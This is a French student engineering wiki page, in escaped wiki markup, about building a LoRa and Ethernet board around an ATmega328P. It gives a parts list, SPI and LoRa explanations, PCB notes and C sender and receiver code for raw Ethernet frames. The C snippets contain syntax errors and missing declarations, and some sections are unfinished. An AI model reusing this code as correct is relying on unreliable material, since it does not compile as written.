 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
